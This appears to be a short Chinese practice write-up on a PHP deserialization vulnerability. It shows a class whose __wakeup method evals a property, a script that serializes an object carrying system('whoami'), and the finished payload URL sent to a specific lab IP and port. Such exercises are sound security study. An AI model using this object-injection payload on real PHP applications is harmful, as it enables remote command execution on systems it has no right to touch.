反序列化漏洞练习1

根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。

根据源码编写序列化代码

php 复制代码
<?php
class sis{
    public $cmd='system("whoami");?>';
    public function __wakeup(){
        eval($this->cmd);
    }
}
$a = new sis;
echo serialize($a);
?>

为cmd赋值后,直接将整个sis类序列化

访问该代码

得到序列化的sis,将序列化后的sis以get的方式为cmd传参

124.221.58.83:81/s1.php?cmd=O:3:"sis":1:{s:3:"cmd";s:19:"system("whoami");?>";}

完成

相关推荐
Jedi Hongbin1 分钟前
Three.js shader内置矩阵注入
前端·javascript·three.js
etcix2 分钟前
dmenux.c: integrate dmenu project as one file
c语言·前端·算法
RickyWasYoung6 分钟前
【代码】matlab-遗传算法工具箱
开发语言·matlab
光影少年15 分钟前
react16到react19更新及底层实现是什么以及区别
前端·react.js·前端框架
超人不会飛18 分钟前
vue3 markdown组件|大模型应用专用
前端·vue.js·人工智能
じòぴé南冸じょうげん19 分钟前
微信小程序如何进行分包处理?
前端·小程序
Jolyne_26 分钟前
Table自定义单元格渲染分享
前端
加载中36129 分钟前
pnpm时代包版本不一致问题还是否存在
前端·面试·npm
老马啊老马29 分钟前
30 分钟搞定!Docker+Jenkins+Nginx + 腾讯云实现前端 CI/CD
前端
VillenK31 分钟前
用插件的方式注入Vue组件
前端·vue.js